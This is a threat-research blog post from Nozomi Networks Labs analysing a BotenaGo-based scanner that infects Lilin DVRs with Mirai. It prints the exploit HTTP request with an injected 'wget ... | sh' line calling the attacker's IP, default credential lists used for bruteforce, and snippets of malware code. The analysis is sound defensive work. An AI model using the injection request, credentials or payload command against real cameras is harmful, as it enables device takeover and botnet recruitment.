New BotenaGo Variant Discovered by Nozomi Networks Labs

nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/

Bу

April 18, 2022



According to <u>AT&T Alien Labs</u>, BotenaGo malware has been deployed with over 30 exploit functions, putting millions of IoT devices at risk of potential cyberattacks. BotenaGo is written in "Go", which is a Google open-source programming language. While the use of open-source programming languages has its benefits, attackers have equally taken advantage, using Go to code malicious malware.

Our research highlights Nozomi Networks Labs' discovery of a new variant of the BotenaGo malware that specifically targets Lilin security camera DVR devices. We have named this sample "Lillin scanner" because of the name the developers used for it in the source code: root/lillin.go. Let's dive deeper into the functionality of this sample to show step-by-step how these kinds of scanners work.

```
4\x72\x75\x65\x3c\x2f\x73\x77\x69\x74\x63\x68\x3e\x3c\x61\x64\x72\x65\x73\x73\x74\x79\x76\x65\x3e\x69\x70\x2f\
x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x3c\x69\x70\x3e\x24\x28"
payload += tvt4567Payload
payload +=
"\x3c\x2f\x69\x7<mark>0</mark>\x3e\x2f\x69\x74\x65\x6d\x3e\x3c\x2f\x66\x69\x6c\x74\x65\x72\x4c\x69\x73\x74\x3e\x3c\x2f\x63\x6f\
x6e\x74\x65\x6e\x74\x3e\x3c\x2f\x72\x65\x71\x75\x65\x73\x74\x3e\x00"
payload = base64.StdEncoding.EncodeToString([]byte(payload))
cntlen := strconv.Itoa(len(payload))
conn.Write([]byte("{D79E94C5-70F0-46BD-965B-E17497CCB598}"))
for {
   tmpbuf := make([]byte, 128)
    ln, err := conn.Read(tmpbuf)
    if ln <= 0 || err != nil {
       break
    rdbuf = append(rdbuf, tmpbuf...)
    if strings.Contains(string(rdbuf), "{D79E94C5-70F0-46BD-965B-E17497CCB598}") && state != 1 {
        conn.Write([]byte("GET /saveSystemConfig HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/
        xml\r\nContent-Length: " + cntlen + "\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 2\r\n\r\n" + payload +
        "\r\n\r\n"))
        zeroByte(rdbuf)
        state = 1
       continue
```

Figure 1. BotenaGo source code.

The source code of the BotenaGo malware (Figure 1) was leaked in October 2021, which led to the creation of new variants based on the original. We decided to monitor samples that could have been generated utilizing parts of the BotenaGo source code. In doing so, we discovered a sample that contained certain similarities of BotenaGo.

At the time of this research, <u>the sample</u> had not been detected by any malware detection engine in VirusTotal (Figure 2). Although the sample is quite large (2.8 MB), due to being written in Go, the portion of the actual malicious code is quite small and focuses on a single task. Its authors removed almost all of the the 30+ exploits present in BotenaGo's original source code and reused some parts to exploit a different vulnerability that was over two years old. This may be why the sample hasn't been detected until now.

Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the security vendors and no sandboxes flagged bis fle as malicious Image: Constant of the se						
Yea 288 MB 2022-03-05 20:27:34 UTC Yea Yea 1 day ago Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea Yea	() () () () () () () () () ()	\oslash No security vendors and no sandboxes flagged this file as malicious			$C_{\rm c} \approx \overline{\Lambda} {\rm err}$	
DETECTION DETAILS CONTENT SUBMISSIONS COMMUNITY Security vendors: Source of the security vendors: Image: Security vendors:		fdbd955959a8f42450af5ac2bf93efba180f4cbae64dd 65c2e2057f56 root 64bits elf	4dd852f 2.88 MB 2022-0 Size 1 day ag	3-05 20:27:34 UTC Jo	A Q ELF	
Security vendors' analysis on 2022-03-05T20:27:34 UTC > Image: Constant of the second of the sec	DETECTION	DETAILS CONTENT SUBMISSIONS	COMMUNITY			
Acronis (Static ML)Image: Omega ComparisonAd-AwareImage: Omega ComparisonAhnLab-V3Image: Omega ComparisonALYacImage: Omega ComparisonAntiy-AVLImage: Omega ComparisonArcabitImage: Omega ComparisonAvastImage: Omega ComparisonArcabitImage: Omega ComparisonAvastImage: Omega ComparisonAvast-MobileImage: Omega ComparisonAvira (no cloud)Image: Omega ComparisonImage: Omega ComparisonImage: Omega ComparisonAvira (no cloud)Image: Omega ComparisonImage: Omega ComparisonImage: Omega ComparisonBitDefenderImage: Omega ComparisonImage: Omega ComparisonImage: Omega ComparisonCAT-QuickHealImage: Omega ComparisonImage: Omega ComparisonImage: Omega ComparisonCMCImage: Omega ComparisonImage: Omega ComparisonImage: Omega ComparisonCynetImage: Omega	Security vendors' analysis on 2022-03-05T20:27:34 UTC V					
AhnLab-V3Image: WindetectedALYacImage: WindetectedAntiy-AVLImage: WindetectedArcabitImage: WindetectedAvastImage: WindetectedAvast-MobileImage: WindetectedAvira (no cloud)Image: WindetectedBaiduImage: WindetectedBitDefenderImage: WindetectedBitDefenderThetaImage: WindetectedCAT-QuickHealImage: WindetectedImage: WindetectedImage: WindetectedCMCImage: WindetectedImage: WindetectedImage: WindetectedCynetImage: WindetectedImage: WindetectedImage: WindetectedCynetImage: WindetectedImage: WindetectedImage: Windetected	Acronis (Static ML)	⊘ Undetected	Ad-Aware	O Undetected		
Antiy-AVLImage: Constraint of the sector of the	AhnLab-V3	⊘ Undetected	ALYac	O Undetected		
AvastImage: Constraint of the sector of the sec	Antiy-AVL	⊘ Undetected	Arcabit	O Undetected		
Avira (no cloud)Image: Order ClamadowBaiduImage: Order ClamadowBitDefenderImage: Order ClamadowBitDefender ThetaImage: Order ClamadowCAT-QuickHealImage: Order ClamadowClamadowImage: Order ClamadowCMCImage: Order ClamadowImage: Order ClamadowImage: Order ClamadowCynetImage: Order ClamadowImage: Order ClamadowImage: Order ClamadowCynetImage: Order ClamadowImage: Order	Avast	⊘ Undetected	Avast-Mobile	⊘ Undetected		
BitDefenderImage: CAT-QuickHealUndetectedBitDefenderThetaImage: OutdetectedCAT-QuickHealUndetectedClamAVUndetectedCMCUndetectedComodoImage: OutdetectedCynetUndetectedCyrenUndetected	Avira (no cloud)	⊘ Undetected	Baidu	O Undetected		
CAT-QuickHealIndetectedClamAVIndetectedCMCIndetectedComodoIndetectedCynetIndetectedCyrenIndetected	BitDefender	⊘ Undetected	BitDefenderTheta	O Undetected		
CMC O Undetected Comodo O Undetected Cynet O Undetected Cyren O Undetected	CAT-QuickHeal	⊘ Undetected	ClamAV	O Undetected		
Cynet 🚫 Undetected Cyren 🚫 Undetected	CMC	⊘ Undetected	Comodo	O Undetected		
	Cynet	⊘ Undetected	Cyren	O Undetected		

Figure 2. The file is not detected as a threat.

Lillin Scanner Functionality

In order to run, the scanner/exploiter needs a parameter to be passed in the command line. That will be the port being used to connect to each of the IP addresses that the program targets. Lillin scanner differs from BotenaGo in that it doesn't check the banner for the given IPs. It is possible that this tool is chained with another program that builds lists of Lilin devices using services like Shodan or other mass scanning tools.

Next, the sample will iterate over the IP addresses that it receives from the standard input. This portion of the code can easily be spotted in the original BotenaGo source code. These instructions will create one *Goroutine* (a sort of thread used in Go) per IP address executing the infectFunctionLilinDvr function, which follows the same naming convention as in BotenaGo.

```
while ( 1 )
{
    *&v6 = bufio__ptr_Scanner_Scan(v14, v3); // Read from STDIN
    if ( !v4 )
        break;
    *(&v10 + 1) = runtime_slicebytetostring(0LL, v14[4], v14[5], v15, v6);
    v13[0] = strings_genSplit(v7, v8, ":<=?CLMNPSZ[\n\t", 1LL, 0LL, -1LL, ipAddr, v10);// Split line by ':'
    if ( sys_argc <= 1 )
        runtime_panicIndex(v1, v5);
    if ( *(os_Args + 24) == 4LL && **(os_Args + 16) == 1701736302 && v10 <= 1 )
        runtime_panicIndex(v1, v5);
    if ( !v10 )
        runtime_panicIndex(v1, v5);
    *(&v6 + 1) = runtime_newproc(32, pInfectLilinDvr, *ipAddr);// go infectLilinDvr(ipAddr)
}</pre>
```

Figure 3. A loop creating Goroutines using the input from STDIN.

The presence of strings with the names of the functions and the absence of any protection (<u>many malware families use at least the modified version of UPX</u>) means that it isn't actually trying to protect itself against security products and reverse engineers. It reinforces the theory that this executable might mainly be intended to be used by attackers in manual mode.

Device Access and Vulnerability Exploitation

When the infectFunctionLilinDvr function receives the IP address to scan, it first checks if the device behind that IP can be accessed. The Lillin scanner contains 11 pairs of user-password credentials in its code. This is a difference from previous malware samples that, <u>reportedly</u>, abused only the credentials <u>root/icatch99</u> and <u>report/8Jg0SR8K50</u>. These credentials are Base64-encoded to be used in the basic authentication needed to exploit the vulnerability that allows the Remote Code Execution (RCE).

```
dq offset aRootIcatch99 ; DATA XREF: main infectf
                       ; "root:icatch99"
da 0Dh
dq offset aReport8jg0sr8k ; "report:8Jg0SR8K50"
dg 11h
dq offset aReportReport ; "report:report"
dq 0Dh
                       ; "root:root"
dq offset aRootRoot
dq 9
dq offset aAdminAdmin
                      ; "admin:admin"
dq ØBh
dq offset aAdmin123456 ; "admin:123456"
dq 0Ch
dq offset aAdmin654321 ; "admin:654321"
dq 0Ch
dq offset aAdmin1111 ; "admin:1111"
dq ØAh
dq offset aAdminAdmin123 ; "admin:admin123"
dq 0Eh
dg offset aAdmin1234
                     ; "admin:1234"
dq ØAh
dq offset aAdmin12345 ; "admin:12345"
dq 0Bh
```

Figure 4. Credentials used for bruteforce access to the DVRs.

```
Hypertext Transfer Protocol
GET / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Accept-Language: en-GB,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Connection: close\r\n
Upgrade-Insecure-Requests: 1\r\n
Authorization: Basic cmVwb3J00jhKZzBTUjhLNTA=\r\n
Credentials: report:8Jg0SR8K50
\r\n
```

Figure 5. Basic authentication attempt.

Lillin scanner will loop over the 11 encoded credentials and will sequentially try to access the root directory, changing the Base64 string in the Authorization field. When the server response contains the string HTTP/1.1 200 or HTTP/1.0 200 it will consider the authentication to be successful and will attempt the exploitation of the Network Time Protocol (NTP) configuration vulnerability.

This vulnerability, part of a set of security vulnerabilities affecting Lilin DVRs, was discovered in 2020 and was <u>assigned a CVSS v3.1 score of 10.0 (Critical)</u> by the vendor.

The scanner will send particularly crafted HTTP POST requests to the URL paths /dvr/cmd and /cn/cmd in order to exploit a command injection vulnerability in the web interface.

First, the scanner attempts to inject some code by submitting a POST request to the URL path /dvr/cmd . If successful, this request then modifies the NTP configuration of the camera. The modified configuration contains a command that, because of the vulnerability, will attempt to download a file named wget.sh from the IP address 136.144.41[.]169 and then immediately execute its content. If the command injection to /dvr/cmd is not successful, the scanner attempts the same attack to the endpoint /cn/cmd .

Once the attack is complete, another request to the same endpoint restores the original NTP configuration.

```
1 POST /cn/cmd HTTP/1.1

2 Host: 127.0.0.1

3 Accept-Encoding: gzip, deflate

4 Content-Length: 333

5 Authorization: Basic cmVwb3J00jhKZzBTUjhLNTA=

6 User-Agent: Abcd

7

8 <?xml version="1.0" encoding="UTF-8"?><DVR Platform="Hi3520"><SetConfiguration

File="service.xml"><![CDATA[<?xml version="1.0" encoding="UTF-8"?><DVR

Platform="Hi3520"><SetConfiguration

File="service.xml"><![CDATA[<?xml version="1.0" encoding="UTF-8"?><DVR

Platform="Hi3520"><Setvice><NTP Enable="True" Interval="20000"

Server="time.nist.gov&wget -0- http://136.144.41.169/wget.shlsh;echo DONE"/>

</Service></DVR>]]></SetConfiguration></DVR>
```

Figure 6. POST request with the injected wget command.

The file wget.sh recursively downloads multiple executables for multiple architectures from 136.144.41[.]169. The targeted architectures are ARM, Motorola 68000, MIPS, PowerPC, SPARC, SuperH, x86.



Figure 7. The content of wget.sh file.

The Mirai Malware Family

In the third stage of this attack, multiple malicious samples for each architecture attempt to execute on the camera. These samples belong to the Mirai malware family, which is a widely known threat to IoT devices. All these samples have recently been submitted to VirusTotal (at the beginning of March 2022). For example, for the MIPS architecture, two samples have been identified as the third stage connected to the Mirai family:

- ae0185189e463c6abddf8865972dac72630b6e515e79d3f7566f0983a0eae295
- 28f50f24c930b595f88257748f62d985436ecce1330ff52f09cdd13642591450



Figure 8. TVirusTotal graph showing the connection between the two ELF samples and wget request contained in the wget.sh file.

For x86 architecture, the file

62ef086111b6816d332e298d00ac946c11fac0ed8708fa2668ad3c91ceb96dbf is downloaded and executed. An analysis of this sample reveals some typical behaviors of the Mirai malware. For example, while scanning new devices, Mirai typically bruteforces the authentication using a list of hardcoded credentials. In Figure 9, there is a non-exhaustive list of credentials used for the bruteforce. This list comes from the Mirai source code.

123	// Set up passwords			
124	add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);	//	root	xc3511
125	add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);	//	root	vizxv
126	add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);	//	root	admin
127	add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);	//	admin	admin
128	add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A 6);	//	root	888888
129	add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);	//	root	xmhdipc
130	add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);	//	root	default
131	add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);	//	root	juantech
132	add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);	//	root	123456
133	add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);	//	root	54321
134	add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);	//	support	support
135	add_auth_entry("\x50\x4D\x4D\x56", "", 4);	//	root	(none)
136	add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x55\x4D\x50\x46", 4);	//	admin	password
137	add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x56", 4);	//	root	root

Figure 9. Non-exhaustive list of hardcoded credentials used by Mirai malware from the source code.

From the static analysis of the downloaded sample, we retrieved a list of credentials used in the scanning module, many of which are the same as the ones hardcoded in the Mirai source code.

```
edx, 8
mov
        esi, offset aVizxv ; "vizxv
mov
        edi, offset aRoot : "root"
mov
        add_auth_entry
call
        esi, offset aUser ; "user"
mov
        edx, 8
mov
        rdi, rsi
mov
        add auth entry
call
        edx, 8
mov
        esi, offset aGm8182 ; "GM8182"
mov
        edi, offset aRoot ; "root"
mov
        add auth entry
call
        edx, 8
mov
        esi, offset aXc3511 ; "xc3511"
mov
        edi, offset aRoot ; "root"
mov
        add auth entry
call
        edx, ØFh
mov
        esi, offset aXmhdipc ; "xmhdipc"
mov
        edi, offset aRoot ; "root"
mov
        add auth entry
call
```

Figure 10. A portion of code from sample

62ef086111b6816d332e298d00ac946c11fac0ed8708fa2668ad3c91ceb96dbf using the same credentials hardcoded in the source code.

Another behavior associated with the Mirai botnet is the exclusion of IP ranges belonging to the internal networks of the U.S. Department of Defense (DoD), U.S. Postal Service (USPS), General Electric (GE), Hewlett-Packard (HP), and others. Some of them are visible in Figure 11, which is taken from Mirai's source code.

```
while (o1 == 127 ||
                                               // 127.0.0.0/8

    Loopback

      (o1 == ∅) ||
                                                // 0.0.0.0/8

    Invalid address space

                                               // 3.0.0.0/8
      (o1 == 3) ||
                                                                   - General Electric Company

    Hewlett-Packard Company

      (o1 == 15 || o1 == 16) ||
                                               // 15.0.0.0/7
      (o1 == 56) ||
                                                // 56.0.0.0/8
                                                                    - US Postal Service
      (o1 == 10) ||
                                               // 10.0.0.0/8
                                                                   - Internal network
```

Figure 11. Some of the IP ranges listed in the source code that are excluded while scanning. The same IP ranges are excluded from the scanning procedure in the sample we are analyzing. Moreover, we see that the verification of a randomly generated IP follows the same algorithm as the one implemented in Mirai's source code.





It seems that this tool has been quickly built using the code base of the BotenaGo malware. It shouldn't be confused with a worm as its main goal is to infect its victims with Mirai executables with a list of IP addresses provided as input; it can't automatically propagate itself.

Conclusion

Apart from working on completely new projects, attackers also commonly re-use already available code to build new malware. Monitoring the evolution of these projects helps create more robust and generic detections that remain proactive for a longer time, thus providing better protections against modern cyberthreats.

Related Content



WHITE PAPER

The S3CUREC4M Project: Vulnerability Research in Modern IP Video Surveillance Technologies

Learn how to assess the security posture of an IP video surveillance system, including hardware extraction and firmware analysis techniques.

<u>Download</u>

Related Links

- Blog: <u>How IoT Botnets Evade Detection and Analysis</u>
- Blog: Critical Log4Shell (Apache Log4j) Zero-Day Attack Analysis
- Blog: <u>Reverse Engineering Obfuscated Firmware for Vulnerability Analysis</u>
- Blog: Methods for Extracting Firmware from OT Devices for Vulnerability Research
- On-Demand Webinar: <u>OT/IoT Security Review 2021 2H: Lessons for Critical</u> <u>Infrastructure</u>



Nozomi Networks Labs

Nozomi Networks Labs is dedicated to reducing cyber risk for the world's industrial and critical infrastructure organizations. Through our cybersecurity research and collaboration with industry and institutions, we're helping defend the operational systems that support everyday life.